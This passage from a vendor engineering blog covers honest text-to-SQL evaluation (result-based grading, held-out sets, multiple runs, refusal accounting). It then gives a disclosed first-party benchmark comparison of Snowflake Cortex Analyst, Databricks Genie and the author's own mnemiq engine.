bounded by them, so set these database-side and record which limit fired when one does. - **Verification on, if you want it.** It is off by default, and the project's own issue tracker notes the verifier fails open when its judge is unreachable. Running with it off is fine; not saying so in `configuration` is how you discover later that half your runs had no brake. Capture latency and cost at this same boundary: wall-clock in-to-out for `latency_ms`, and tokens or currency for `cost`, remembering that a repair or multi-candidate setting bills several model calls per question. Then grade it. The harness is part of the engine rather than a separate research project, and it reports six outcomes: `CORRECT` (exact result-set match), `CORRECT_FACTS` (right data, different shape), `WRONG`, `DEFERRED_CORRECTLY`, `DEFERRED_WRONGLY`, `ERROR` — the same six values the template's `outcome` field takes. It prints two accuracies from one run, got-the-facts over answerable and exact match over answerable, which is the two-readings discipline enforced in code. ```bash # the golden set, with a regression gate and a recorded trend point uv run mnemiq eval --golden evals/mine.json --gate --record # enrichment on, then off, with per-case artifacts: question, gold SQL, # engine SQL, both result sets, outcome uv run python scripts/run_eval.py --ab --report reports/ # a fixed failure becomes a permanent case uv run mnemiq feedback --question "how many enterprise accounts churned last quarter?" \ --sql "SELECT ..." --tables account,segment --golden evals/mine.json ``` One wrinkle, because it will bite you. `mnemiq eval` reads its golden set through the Postgres adapter whatever the source manifest says, so it wants `MNEMIQ_PG_DSN` and refuses on a SQLite-only deployment. The no-Docker demo is for the ask loop and the refusal behaviour; point the eval at a Postgres slice of your own. For third-party grading, push the outputs to [beacon](https://github.com/agenticfabriq/beacon), a tracker and not an executor: you register a run, execute it on your own hardware with your own runner, and push the rows your engine returned. Beacon grades those rows against gold it already holds, so no benchmark database is needed at grading time and the system under test never marks its own homework. `beacon suites create` makes the question set, `beacon eval run` registers the run, `scripts/load_eval_reports.py` loads JSONL reports, and `beacon audit spot-check` re-executes a sample of the pushed SQL on a named engine. Loading a report doubles as a conformance check between two independent graders, and the disagreement table it prints is the reason to bother. ## What Makes a Number Dishonest {#dishonest} Four ways, and all four are easy to do by accident. **Tuning on the test set.** You run the set, see the definition band fail, add the definitions, rerun, report the new number. Good engineering loop, ruined measurement, because the set is now a training signal. Text-to-SQL leaks in a way that is easy to miss, because the thing you tune is not a model. Every honest fix you make (a glossary entry, a certified definition, a table description, a few-shot example, a `feedback` case promoted into the golden set) gets written *because* you read a failing question. Enrichment is the worst offender: it makes an LLM pass over the schema and writes descriptions that your current questions can shape, deliberately or not. After that the system is not answering a held-out question, it is answering one whose vocabulary is already in its context. So split the set before you look at a single result, and keep the held-out slice out of the room: - Draw it as a stratified sample so every band is represented, not by taking the last ten rows. - Enrich, build, write definitions and promote feedback cases on the development slice **only**. No held-out question's text, gold SQL or business term goes into a description, glossary, example or prompt. - Store it where the tuning loop cannot read it, and run it on a schedule rather than whenever a number disappoints. - Record which slice produced a figure: a development number and a held-out number are different metrics. - Touch it and it is spent. A held-out question that has driven a fix is a development question for good. If you have 30 questions and can't afford to hold any out, report the tuned number and label it as tuned. **Grading with the model that wrote the SQL.** Covered above: self-recognition tracks self-preference, and the bias is measurable. Different family for the judge, or no LLM judge on the SQL path at all. **Reporting one run.** Eighty unique completions out of a thousand identical temperature-zero requests is what the floor looks like. A single run has no error bar and you can't add one afterwards. **Quoting a public benchmark number as yours.** A BIRD score is a statement about databases somebody else curated. Repeating it in a slide about your warehouse is the move this method exists to replace, and it is the subject of the companion piece on [why BIRD and Spider rankings disagree](/blog/why-bird-and-spider-rankings-disagree). A fifth, quieter one: changing the grader and comparing across the change. Beacon's re-basing note is the honest version. Spider EX quoted before 2026-08-07 was 53.4% on a local slice under the runner's pre-convergence grading, and 55.7% on the same run once EX derived from beacon's verdicts. Their rule is that comparisons across that boundary must re-base, with the run config and dataset version distinguishing the two eras. Change the grader and every earlier number is a different metric. ## Where mnemiq Fits, Honestly {#mnemiq} mnemiq is ours, it is Apache-2.0, and the published comparison on [/mnemiq](/mnemiq) is first-party: Agentic Fabriq ran it, including against its own system. Read it with that in front of you. Every cell is exact match / got-the-facts, three runs per cell where possible, same questions and the same external grader for every system. | System | BIRD mini-dev | Spider 1.0 | Spider 2.0-lite | |---|---|---|---| | mnemiq (tier 2 enrichment, hosted frontier model) | 52.2 / 64.9 | 68.4 / 79.5 | 36.6 / 59.8 | | Databricks Genie | 37.4 / 53.1 | 63.6 / 77.5 | 27.3 / 45.5 | | Snowflake Cortex Analyst | 33.3 / 48.9 | 56.4 / 77.1 | 17.4 / 24.2 | **Table 2 — The first-party published comparison. The vendor models are undisclosed, and none of these three benchmarks predicts what happens on your warehouse. Both caveats are load-bearing.** What makes it checkable despite being first-party is that the grader, the tracker and the per-question results are open, in a separate repository from the engine, with the grading contract written down and pinned by SHA-256 in both repos. A number traces to the SQL and the rows that produced it. That is the standard we'd hold any vendor to, including us, and it is also the reason to prefer a measurement you ran yourself over any of those cells. ## Frequently Asked Questions {#faq} **How do I evaluate text-to-SQL on my own database?** Build 20 to 30 real questions from your BI query log, tag each as answerable from column names, needs a definition, or should be refused, write reference answers by running a human-written gold query and storing its rows, fix the grading rule and the denominators in writing before you look at any output, hold a slice back, run the full set at least three times under one recorded configuration, and report right, refused and wrong separately plus the case-flip rate. **Is the SQL graded, or the result?** The result. Execute both the candidate query and the reference query and compare the rows that come back; never compare the SQL text. Two queries sharing no tokens can be equally correct, so string-matching marks correct answers wrong. Keep the generated SQL beside the verdict as evidence to read, not as the thing scored. **How many questions do I need?** Twenty to thirty to diagnose which layer is broken. Several hundred to rank two configurations: Miller's worked example puts a three-point difference at 80% power and 5% significance at roughly 969 paired questions. **Should I use exact match or result containment?** Both, side by side, with the gap between them named. Exact match is leaderboard-comparable and produces false negatives: the test-suite accuracy paper measured 2.5% average and 8.1% worst-case false negatives for Spider's own metric across 21 submissions. Result containment matches what an analyst accepts. **Can I use an LLM to grade text-to-SQL?** For narrative or rubric answers, with the prompt published, the judge model and version pinned, temperature at zero, per-question verdicts published and an agreement rate against human review on a sample. Not for comparing result sets, where deterministic comparison is cheaper and reproducible, and never using the model that generated the SQL. **How many runs should I do?** Three minimum, with mean and spread both reported. Temperature zero does not make a run reproducible: 1,000 identical requests to Qwen3-235B at temperature 0 produced 80 unique completions. **Do refusals count as wrong answers?** Not as wrong, but they cannot vanish either. Report accuracy twice: over the questions the system answered, and over every gradeable question in the set, which keeps refusals in the denominator. The first rises as a system refuses more; the second falls. Report the deferral rate, over-refusals and the refusal hold beside them. Errors leave the accuracy denominator and get their own count, split by cause. **What is a good text-to-SQL accuracy number?** There isn't one. The number is a joint property of your schema, your question mix and your grading rule. What you can compare is one question set under two configurations of the same system, and that comparison tells you what to build next. **How do I know if the evaluation itself is wrong?** Have a second grader re-grade the same stored rows and read the disagreements. Beacon's report loader prints exactly that table. ## Conclusion {#conclusion} The number you want is not hard to compute. It is hard to make honest, and almost all of that difficulty sits in decisions made before any SQL is generated: which questions, written by whom, stratified how, graded under which rule, averaged over how many runs, with refusals counted where. For the renewals slice at that B2B company, a defensible first result is twenty-eight questions from the BI log in three bands, a held-out third, reference rows written by the analytics lead, both grading rules reported, three runs under one recorded configuration, and five numbers rather than one: band accuracy, deferral rate, over-refusals, errors by cause, case-flip rate. That takes an afternoon and tells you whether to spend the next quarter writing a glossary or tuning retrieval. A BIRD score tells you neither. > **The test we'd apply before quoting any text-to-SQL number:** name the question set, the grading rule, the > run count and the refusal policy in one sentence. If you can't, you have a percentage rather than a > measurement, and the two are not interchangeable. ## Sources {#sources} All URLs read 2026-10-12. - [mnemiq on GitHub](https://github.com/agenticfabriq/mnemiq) — README: the evaluation harness as part of the engine, the 20–30 question first pass and its three tags, the SQLite demo quickstart with no Docker, `enrich`/`build`/`ask --roles`, fail-closed access, the coded-value and refusal demo questions, and the vLLM 0.9 temperature measurement. - [mnemiq `src/mnemiq/eval/harness.py`](https://github.com/agenticfabriq/mnemiq/blob/main/src/mnemiq/eval/harness.py) — the six outcomes: `CORRECT`, `CORRECT_FACTS`, `WRONG`, `DEFERRED_CORRECTLY`, `DEFERRED_WRONGLY`, `ERROR`. - [mnemiq `src/mnemiq/eval/report.py`](https://github.com/agenticfabriq/mnemiq/blob/main/src/mnemiq/eval/report.py) — accuracy as got-the-facts over answerable, strict accuracy as exact match over answerable, and why portability enters one and not the other. - [mnemiq `src/mnemiq/cli.py`](https://github.com/agenticfabriq/mnemiq/blob/main/src/mnemiq/cli.py) — the verified flags for `eval --golden/--gate/--record`, `feedback`, `ask --roles/--json/--mode`, and the note that `eval` reads its golden set through the Postgres adapter. - [mnemiq `evals/acme.json`](https://github.com/agenticfabriq/mnemiq/blob/main/evals/acme.json) — the question-set file format: `id`, `question`, `gold_sql`, `tags`. - [mnemiq `evals/fs_payments_control.json`](https://github.com/agenticfabriq/mnemiq/blob/main/evals/fs_payments_control.json) — a shipped question set with a control band, and the `expected_answer` note that records *why* a number is the right one, including where a row count and its certified twin legitimately differ. - [mnemiq `evals/fs_payments_authz.json`](https://github.com/agenticfabriq/mnemiq/blob/main/evals/fs_payments_authz.json) — the matching access policy: a role, the tables it may read, and its PII clearance. The template's `role` field made concrete. - [mnemiq `evals/trend.json`](https://github.com/agenticfabriq/mnemiq/blob/main/evals/trend.json) — the only results artifact committed to the repository: what `eval --record` appends, with `accuracy` (got-the-facts) and `strict_accuracy` (exact match) side by side over the same run, plus `total`, `correct`, `correct_facts`, `wrong`, `deferred_wrongly` and `error`. A trend on the repository's own demo set, not a benchmark result. Graded per-question results for the published comparison live in beacon; mnemiq's run reports are generated rather than committed. - [mnemiq `docs/grounding.md`](https://github.com/agenticfabriq/mnemiq/blob/main/docs/grounding.md) — "no evidence, no meaning": how a coded value takes a meaning only from the data, an ontology or a dictionary, and how an ambiguous match against two schemes becomes a reviewable proposal rather than a silent choice. - [mnemiq `docs/oracle-deployment.md`](https://github.com/agenticfabriq/mnemiq/blob/main/docs/oracle-deployment.md) — why a read-only read plane is partly a property of your deployment: a `SELECT` reaching a writing function through a view, and what opening the database read-only actually closes. - [mnemiq `.env.example`](https://github.com/agenticfabriq/mnemiq/blob/main/.env.example) — `MNEMIQ_LLM_SEED` honoured by vLLM and accepted-but-ignored by the hosted endpoint, the Oracle connection and probe timeouts, and the note that data queries are not bounded by them. - [mnemiq open issues](https://github.com/agenticfabriq/mnemiq/issues) — the project's own list of known weaknesses, including the verifier failing open when its judge is unreachable and verification being off by default. - [mnemiq `scripts/run_eval.py`](https://github.com/agenticfabriq/mnemiq/blob/main/scripts/run_eval.py) — `--ab` and `--report DIR`, and what the per-case artifacts contain. - [beacon on GitHub](https://github.com/agenticfabriq/beacon) — tracker not executor, the register/execute/push/read flow, deferral is not a failure, an error is not a zero, SQL is evidence never scored, the CLI surface including `audit spot-check`, and the LLM judge restricted to narrative and rubric graders. - [The beacon grading contract](https://github.com/agenticfabriq/beacon/blob/main/docs/grading.md) — EX / exact / got-facts, what got-facts tolerates and refuses, whole numbers compared exactly, the `5e-7`/`1e-5` bounds, and the 53.4% → 55.7% re-basing note. - [Text-to-SQL evaluation taxonomy](https://agenticfabriq.github.io/text-to-sql-evaluation-taxonomy/#dimensions) — the eight dimensions, including grading rule, answer shape, refusal and stability. - [Taxonomy: grading-rule.yaml](https://github.com/agenticfabriq/text-to-sql-evaluation-taxonomy/blob/main/taxonomy/grading-rule.yaml) — the four rules, what each rewards, and the caution on LLM-judged grading. - [Taxonomy: answer-shape.yaml](https://github.com/agenticfabriq/text-to-sql-evaluation-taxonomy/blob/main/taxonomy/answer-shape.yaml) — `right-data-wrong-shape` and why rankings flip on it. - [Taxonomy: refusal.yaml](https://github.com/agenticfabriq/text-to-sql-evaluation-taxonomy/blob/main/taxonomy/refusal.yaml) — deferral rate, correct refusal, over-refusal, adversarial refusal hold, and how to measure calibrated refusal. - [Taxonomy: stability.yaml](https://github.com/agenticfabriq/text-to-sql-evaluation-taxonomy/blob/main/taxonomy/stability.yaml) — case-flip rate and its three-run measurement protocol, mean-of-runs, per-schema spread. - [Taxonomy: failure-mode.yaml](https://github.com/agenticfabriq/text-to-sql-evaluation-taxonomy/blob/main/taxonomy/failure-mode.yaml) — reference error, plausible wrong number, and the rest of the diagnosis vocabulary. - [Adding Error Bars to Evals (Miller, 2024)](https://arxiv.org/abs/2411.00640) — the five recommendations, clustered standard errors for grouped questions, resampling for variance reduction, and the ~969-question power example. - [Semantic Evaluation for Text-to-SQL with Distilled Test Suites (Zhong, Yu, Klein, EMNLP 2020)](https://arxiv.org/abs/2010.02840) — 2.5% average and 8.1% worst-case false negatives for Spider's metric across 21 leaderboard submissions. - [Judging LLM-as-a-Judge with MT-Bench and Chatbot Arena (Zheng et al., 2023)](https://arxiv.org/abs/2306.05685) — over 80% judge–human agreement, and position, verbosity and self-enhancement bias. - [LLM Evaluators Recognize and Favor Their Own Generations (Panickssery, Bowman, Feng, 2024)](https://arxiv.org/abs/2404.13076) — self-recognition without training, self-preference where humans rate outputs equal, and the linear correlation between the two. - [Defeating Nondeterminism in LLM Inference (Thinking Machines, 2025)](https://thinkingmachines.ai/blog/defeating-nondeterminism-in-llm-inference/) — 80 unique completions from 1,000 identical temperature-0 requests to Qwen3-235B, divergence at token 103, and batch invariance as the cause. - [mnemiq product page](https://www.agenticfabriq.com/mnemiq) — the first-party published comparison, the grading rules beside the figures, and the three-runs-per-cell methodology note. ================================================================================ ## Snowflake Cortex Analyst vs. Databricks Genie: Evaluation Results and Limits URL: https://www.agenticfabriq.com/blog/cortex-analyst-vs-genie-accuracy Published: 2026-10-12 Author: Paulina Xu Summary: A first-party evaluation of Cortex Analyst and Genie on BIRD and Spider, scored two ways, with the full configuration, dates, grader version and reproducibility limits stated. The gap between the two vendors is mostly a function of which grading rule you pick, and we show where it isn't. ```tldr **On our benchmark Databricks Genie scores higher than Snowflake Cortex Analyst on all three corpora, but on Spider 1.0 that lead is 7.2 points under one grading rule and 0.4 points under another.** Same answers, same runs, two defensible definitions of correct, two different stories. Read the conflict of interest first. Agentic Fabriq ran this comparison, and the third system in the table, mnemiq, is ours and scores highest. We are not a neutral party. What we can offer instead of neutrality is a grader you can read, per-question results you can inspect, and disclosure of every place the harness constrained a vendor. The usual way these comparisons get published is one number per product. That hides the thing a buyer needs: Cortex Analyst's Spider 1.0 answers contain the reference facts about as often as Genie's and fail the strict row-and-column test far more often, while on Spider 2.0 it falls behind under both rules, and 27 of its 135 answers there were refusals. We are not claiming the gap is only cosmetic. On Spider 2.0 it is 27.3 against 17.4 under exact match and 45.5 against 24.2 under got-the-facts, which is not a formatting difference. If you are choosing between these two products, take the mechanics below and ignore the ranking. Then run twenty questions from your own warehouse through both. ``` ## Overview {#overview} Start with the disclosure, because everything below depends on how much you trust it. Agentic Fabriq built and published this comparison. We also build mnemiq, the open-source text-to-SQL engine that appears in the same table and scores higher than both commercial products on every cell. A vendor publishing a benchmark it wins is the weakest form of evidence there is, and we would treat someone else's version of this page with suspicion. So the useful question is not whether to believe us. It is which parts of this are checkable. The grader is open source and so is the tracker the numbers come from. The per-question results are published, including the SQL each system generated, so a disagreement can be settled by reading a query rather than by arguing about methodology. And where our own harness hurt a vendor, we say so: we found a type mismatch in our Databricks load that dropped around twenty foreign keys, fixed it, reran Genie, and used the better number. The rest of this is about the two commercial products, how each one gets the business context it needs before it can answer well, and what the scores do and don't support. The companion posts cover the method rather than the ranking: [how to evaluate text-to-SQL on your own database](/blog/evaluate-text-to-sql-on-your-own-database) for running this yourself, and [why BIRD and Spider rankings disagree](/blog/why-bird-and-spider-rankings-disagree) for why the choice of corpus and rule reorders leaderboards. > **The rule we would hold any vendor to, including us:** a text-to-SQL accuracy number without its grading > rule, its corpus and its refusal count attached is not a measurement. It is a claim about a number. ## Exactly What Was Run {#setup} Before the numbers, the specification. Everything in this section is a statement about the setup, not about either product, and it is here so you can decide what the figures are worth rather than having to reconstruct it from footnotes. ### Dates The runs were completed before **3 September 2026**, the publication date of the [mnemiq launch article](/blog/mnemiq/launch) where they first appeared. This page was written on **12 October 2026**, and all vendor documentation cited was read on that date. Both products are under active development: the figures are a snapshot of how they behaved at the time of the runs, and at least one documented platform limit has already changed since (see below). Treat the dates as part of the measurement. ### Systems and configuration | System | Configuration as run | Model | Version pinnable? | |---|---|---|---| | mnemiq (ours) | tier 2 enrichment — the database is profiled and descriptions, glossary terms and grain are generated before questions arrive. Repair enabled, which averages around 2.3 model calls per question. | GPT-5.5, stated | Partly. The model is stated. The launch article does not name an engine release tag, which is a reproducibility gap on our side. | | Databricks Genie | A Genie Agent over the benchmark databases in Unity Catalog, with primary and foreign keys replayed from the benchmark metadata. Figures are from the **repaired** load, after we fixed a type mismatch in our own loader that had dropped around twenty foreign keys. One vendor API call per question. | Not named in the Databricks documentation we read | No | | Snowflake Cortex Analyst | A semantic view over the benchmark databases, with primary and foreign keys replayed from the benchmark metadata. One vendor API call per question. | Not selectable. Snowflake publishes a preference order but states "You cannot choose a model directly", with selection depending on region, cross-region inference configuration and access control, and "may change from time to time." | No | **Table 1 — The three configurations. Only one row has a stated model, and that row is ours, which is a structural advantage in our favour that this design cannot remove.** We did not configure the semantic view or the Genie Agent with the care a real customer would after six months of use. We configured ours. The benchmark gives nobody that history, so this is a comparison of lightly-configured deployments and should be read as one. ### The question set Three public corpora, used as published, with the gold SQL never rewritten to suit a platform: - **BIRD mini-dev**: the 500-example development slice of BIRD, across 11 databases. - **Spider 1.0**: the standard evaluation set. Its authors stopped accepting leaderboard submissions in February 2024. - **Spider 2.0-lite**: a **135-question** slice. Spider 2.0's databases often exceed a thousand columns. Where a benchmark's shape collided with a platform, we changed the platform side and disclosed it rather than editing the questions. Snowflake uppercases unquoted identifiers while some source benchmarks were built around SQLite behaviour, so the schema load was adjusted to keep the original queries runnable. One Spider 2.0 schema has 38 tables against a 30-table space limit in force at the time, so we kept the largest connected component of the foreign-key graph and published the tables dropped. A further 73 relationships could not be represented in Unity Catalog at all. ### The grading rule Every cell reads **exact match / got-the-facts**, graded by **beacon v7**, an external Apache-2.0 grader in a separate repository from the engine, with three runs per cell where possible. - **Exact match** requires the same rows and the same columns as the reference answer, and column order is part of the score. That last clause was tightened partway through the project; rather than mix two rules, every stored prediction from every system was re-executed and regraded under the new one. That re-grading reduced exact-match scores by between 1.4 and 5.7 points depending on the system. Got-the-facts barely moved, which is why we weight it more heavily. - **Got-the-facts** counts an answer that contains the reference result, so a correct value wrapped in two extra columns passes this rule and fails the first. As a check on the implementation, we wrote two independent versions of the got-the-facts logic and ran both against 414 constructed examples; they agreed on all 414. - **Spider 2.0 is the exception.** It defines no standard exact-match rule, so its got-the-facts column uses the benchmark's own containment metric while its exact-match column uses our stricter rule, for consistency with the other two corpora. - **A refusal fails both rules.** Errors and unmapped benchmark items are excluded rather than counted wrong, so the graded denominator varies slightly between runs. The case IDs are published, so a comparison on the exact same intersection is possible. ### Reproducibility limits, stated plainly 1. **The vendor models cannot be pinned**, by us or by you. Some unknown share of every gap below is model choice, and this design cannot separate it out. 2. **The vendor runs need account access** on both platforms, and both platforms change. Expect to reproduce the method, not the exact cells. 3. **Platform limits have already moved.** The Genie table limit was 30 when we ran; Databricks now documents 50. Snowflake's Cortex Analyst pages now open by recommending a transition to Cortex Agents. We benchmarked Cortex Analyst. 4. **Our engine release is not tagged** in the publication, only its model. That is on us. 5. **We are not neutral.** Agentic Fabriq ran this, and the highest-scoring row is our own product. What is checkable despite all of that: the grader and the tracker are open source, and the per-question results, including the SQL each system generated, are published, so a disagreement about any single cell can be settled by reading a query. ## The Numbers, and the Rule Attached {#numbers} With that specification fixed, the results. Every cell reads exact match / got-the-facts as defined above: same rows and same columns for the first, contains the reference result for the second. Both are defensible, and they are not interchangeable. | System | BIRD | Spider 1.0 | Spider 2.0 | |---|---|---|---| | mnemiq (tier 2 enrichment, hosted frontier model) | 52.2 / 64.9 | 68.4 / 79.5 | 36.6 / 59.8 | | Databricks Genie | 37.4 / 53.1 | 63.6 / 77.5 | 27.3 / 45.5 | | Snowflake Cortex Analyst | 33.3 / 48.9 | 56.4 / 77.1 | 17.4 / 24.2 | **Table 2 — First-party results published by Agentic Fabriq at /mnemiq. Exact match / got-the-facts, three runs per cell where possible. mnemiq is our own system.** Two things about this table that a summary row would bury. The first is stability. We asked the same questions in separate runs and counted how often the verdict flipped. mnemiq's flip rate was 2.2 to 4.1 percent. Genie's was 9.4 to 17.3 percent and Cortex Analyst's was 10.6 to 12.8 percent. A two-point difference between two products with a twelve-point flip rate is not a difference. Neither vendor publishes a stability number for these products, and we think both should. The second is that our own lead shrinks under scrutiny in exactly the way the vendors' gap does. Under got-the-facts on Spider 1.0, mnemiq is 2.0 points ahead of Genie. That is a cell where we would not claim to have beaten anyone. ## The Rule Moves the Gap, Except Where It Doesn't {#rule} Here is the pattern worth the page. Take the distance between the two vendors under each rule: | Corpus | Gap under exact match | Gap under got-the-facts | |---|---|---| | BIRD mini-dev | 4.1 | 4.2 | | Spider 1.0 | 7.2 | 0.4 | | Spider 2.0 | 9.9 | 21.3 | **Table 3 — Genie minus Cortex Analyst, in points, by grading rule. Derived from Table 2.** On Spider 1.0 the two products are effectively tied on whether the right facts came back, and seven points apart on whether the result had the reference shape. On BIRD the rule barely matters. On Spider 2.0 the choice of rule doubles the gap. The clearest signal is each system's own spread between its two scores, a rough measure of how often it found the facts and missed the shape. Cortex Analyst's spread on Spider 1.0 is 20.7 points, the widest in the table. Its spread on Spider 2.0 is 6.8 points, the narrowest in the table. Genie's spreads sit between 13.9 and 18.2 across all three corpora, so its answer shape is roughly as reference-like everywhere. Read together, those two numbers say something fairly specific. On the easiest corpus, Cortex Analyst's deficit is mostly about the form of the result rather than the facts in it. On the hardest corpus, shape has almost nothing to do with it, because the facts are not arriving at all. We have one piece of direct evidence for why. On Spider 2.0, Cortex Analyst refused 27 of the 135 questions. We read all 27 refusal messages by hand: 24 were caused by missing join metadata, two were a genuine inability to answer, and none were requests for clarification. A refusal fails both rules, which is why the Spider 2.0 column looks the way it does. > **What we are not saying:** that 24 refusals explain the 21-point got-the-facts gap, or that Cortex Analyst > would refuse at that rate on a warehouse someone actually curated. The refusals happened under conditions we > partly created, and the next section is about why. The generalisation cuts both ways. The honest version is that these two products are closer than the headline numbers suggest on clean, small, single-database schemas, and further apart on large enterprise-shaped ones, and that part of the Spider 2.0 distance is a statement about how a benchmark loads into each product's semantic layer rather than about SQL generation. The taxonomy dimension for this is [answer shape](https://agenticfabriq.github.io/text-to-sql-evaluation-taxonomy/), which asks "How does the result's form differ from the reference?", alongside grading rule and refusal. ```mermaid flowchart TD A[candidate answer] --> B{same rows and columns<br/>as reference?} B -- yes --> C[passes exact match<br/>and got-the-facts] B -- no --> D{contains the<br/>reference result?} D -- yes --> E[fails exact match<br/>passes got-the-facts] D -- no --> F[fails both] A2[refusal] --> F ``` passes exact match AND got-the-facts | no +-- contains the reference result? -- yes --> fails exact match, passes got-the-facts no --> fails both refusal ------------------------------------> fails both --> **Figure 1 — One answer, two verdicts. The middle branch is where Cortex Analyst's Spider 1.0 answers mostly land, and the bottom branch is where its Spider 2.0 answers go.** ## Semantic Context Is the Real Difference {#context} Score aside, this is what a buyer should be comparing. Neither product is a model with a schema pasted into the prompt. Both are systems that answer well only after someone describes the business, and they ask for that description in different forms. Snowflake's unit is the semantic view, a schema-level object that defines "logical tables," dimensions, facts, metrics and relationships. The docs are direct about why it exists: "Generic AI solutions often struggle with text-to-SQL conversions when given only a database schema, as schemas lack critical knowledge like business process definitions and metrics handling." Relationships are part of that object, and the documented benefit is that "Join paths are predefined, ensuring correct multi-table queries." You author a semantic view with SQL DDL, through Semantic Studio, by importing YAML or Tableau and Power BI files, or with Autopilot, "an AI-assisted wizard in Snowsight." Legacy YAML on a stage still works but is no longer the recommendation. Databricks starts from the catalog instead. A Genie Agent, the object its docs index still glosses as "formerly Genie Spaces", is "a domain-specific natural-language chat interface in Databricks where users ask questions of their data" over datasets registered in Unity Catalog. Crucially, "Primary and foreign keys defined in your schema are automatically saved as join relationships in the Genie Agent." On top of that you add example SQL queries, SQL expressions, plain-text general instructions, and trusted assets, which are "example SQL queries and SQL functions that provide verified answers to questions you anticipate from users." When one is used, the answer is marked verified. The limits are worth knowing before you plan a rollout. A Genie Agent counts "Instructions (100 per agent)", where "each example SQL query, each SQL function, and the entire General instructions text block each count as one instruction", plus "a maximum of 200 knowledge store snippets" covering table descriptions, join relationships and SQL expressions. On table count, Databricks says to "Aim for five or fewer tables" and to "Work within the 50 table limit", with the advice to "prejoin related tables into views or metric views" beyond that. ```mermaid flowchart LR subgraph SF[Snowflake] T1[(tables)] --> SV[semantic view:<br/>logical tables, facts,<br/>metrics, relationships] A1[Autopilot / DDL /<br/>YAML import] --> SV VQ[verified queries] --> SV SV --> CA[Cortex Analyst] end subgraph DB[Databricks] T2[(Unity Catalog tables)] --> GA[Genie Agent] PK[declared PK / FK] -->|auto-saved as<br/>join relationships| GA INS[instructions, SQL examples,<br/>trusted assets] --> GA GA --> GN[Genie] end ``` SEMANTIC VIEW (logical tables, facts, metrics, relationships) ---> Cortex Analyst authored by Autopilot / SQL DDL / YAML import; verified queries attach to the same object Databricks: Unity Catalog tables ---> GENIE AGENT ---> Genie declared PK/FK auto-saved as join relationships plus instructions, example SQL, trusted assets (100 instruction limit, 200 snippets) --> **Figure 2 — Where each product's business context comes from. Snowflake asks for an authored object; Databricks reads the catalog and asks you to annotate it.** That difference explains a practical failure we hit. Benchmark formats often lose primary and foreign keys when they are loaded into a warehouse, and both products lean on declared keys, so we replayed the keys from the benchmark metadata onto both platforms. Even then, 73 relationships could not be represented in Unity Catalog because of how it handles foreign keys and uniqueness constraints, and we disclosed those rather than working around them in a way nobody could reproduce. One Spider 2.0 schema has 38 tables, which exceeded the 30-table space limit in force when we ran, so we kept the largest connected component of the foreign-key graph. The documented limit is now 50, so that particular constraint has already moved. Both are harness facts, not product verdicts, and they are why the Spider 2.0 column deserves the least weight of the three. ## What Each Vendor Claims Itself {#vendor-claims} Neither vendor reports results on our setup, and their own published numbers were produced differently, so these belong next to ours rather than against them. Snowflake's engineering blog, dated 29 August 2024, claims "90%+ SQL accuracy on real-world use cases" for Cortex Analyst, measured on an internal "benchmark suite of 150 questions that mirror the real-world tasks business users encounter, covering topics such as sales, marketing, finance, etc." The same post reports being "nearly 2x as accurate as single-prompt SQL generation from GPT-4o" and "about 14% more accurate than other solutions on the market." It also argues that public benchmarks mislead: on Snowflake's internal set, GPT-4o's "accuracy plummeted to 51%." We cannot reproduce any of that, because the question set is not public. The argument underneath it is one we agree with and make ourselves. Databricks' comparable number is not a Genie number. A July 2025 post reports "73.5%" test accuracy on BIRD's "single-model, single-generation track" against the private test set, from a Qwen 2.5 32B Coder Instruct base trained with the company's TAO and RLVR stacks. The post is careful that this is not the product: the techniques are "the same techniques we're using to improve popular Databricks products like AI/BI Genie and Assistant", while "BIRD neither fully captures the real-world complexity of this task nor the full-breadth of real products like Databricks AI/BI Genie." Reading 73.5 as Genie's BIRD score would be a mistake, and it is not what Databricks wrote. The two vendors' own in-product evaluation tools make the grading-rule point better than we can. Databricks benchmarks mark a question Correct only "if Genie's query result exactly matches the benchmark's query result", which is an exact-match rule chosen by the vendor. Snowflake's evaluations instead work "by executing the SQL generated by Cortex Analyst and comparing the results against your verified queries", with judges that "use Cortex LLM inference" and a correctness metric you select by version, where the UI "lists v1, v2, and v3". One vendor grades by result equality and the other by model judgment, under a rule that has three versions. Their own quality dashboards are not comparable with each other, let alone with ours. One more thing a buyer should know, from Snowflake's own docs rather than from us. The Cortex Analyst pages now open with "Snowflake recommends transitioning to Cortex Agents, which supports every Cortex Analyst capability with higher answer quality." We benchmarked Cortex Analyst. Snowflake is steering new work elsewhere. ## What This Comparison Doesn't Tell You {#limits} [Exactly what was run](#setup) lists the reproducibility limits — what cannot be pinned, what needs account access, what has already changed. This section is the other kind of limit: four things the numbers do not speak to at all, in rough order of how much they should change your decision. Neither vendor's model is pinnable. Snowflake's docs now publish a preference order, naming Claude Sonnet 4.6, Claude Sonnet 4.5, GPT 4.1, Arctic Text2SQL R1.5 and a Mistral Large 2 plus Llama 3.1 70b combination, but also state "You cannot choose a model directly" and that selection depends on region, cross-region inference configuration and model-level access control, and "may change from time to time." The Databricks docs we read do not name Genie's model at all. mnemiq's model is stated, which makes our cell reproducible and theirs approximate. Some unknown part of every gap in Table 2 is model choice, and this design cannot separate it out. The corpora are not your warehouse. BIRD is "over 12,751 unique question-SQL pairs, 95 big databases with a total size of 33.4 GB" across "37 professional domains", and its mini-dev slice is 500 examples. Spider 1.0 is "10,181 questions and 5,693 unique complex SQL queries on 200 databases"; its official metrics are execution accuracy and exact set match without values, and its authors stopped accepting submissions in February 2024 after releasing the test set. Spider 2.0 is "632 real-world text-to-SQL workflow problems derived from enterprise-level database use cases", with databases that often exceed a thousand columns. None of them contains your column naming, your half-documented fact table or your three competing definitions of revenue. BIRD's own site puts human performance on its full dev set at 92.96 percent execution accuracy, so these are hard questions for people too. The mnemiq column is not a like-for-like product comparison. mnemiq ran with tier 2 enrichment, which inspects the database and generates descriptions, glossary terms and grain before questions arrive. We configured it. We did not configure the semantic view or the Genie Agent with the care a real customer would after six months of use, because the benchmark gives nobody that history. And a single number hides behaviour. Our own grid had two configurations at the same exact-match score with wrong-answer rates of 39.4 and 19.5 percent. A product that refuses a fifth of its questions is a different purchase from one that guesses. > **The only measurement that settles this:** twenty to thirty questions from one meaningful slice of your own > schema, tagged as answerable from the schema, requiring a business definition, or something the system should > refuse. Run each configuration at least twice. Report right, wrong and refused separately. ## Frequently Asked Questions {#faq} **Is Snowflake Cortex Analyst or Databricks Genie more accurate?** On our benchmark, Genie scored higher on all three corpora: 37.4 against 33.3 on BIRD, 63.6 against 56.4 on Spider 1.0 and 27.3 against 17.4 on Spider 2.0 under exact match. Under got-the-facts the Spider 1.0 result is 77.5 against 77.1, which is a tie. We ran this comparison and we sell a competing system, so weigh it 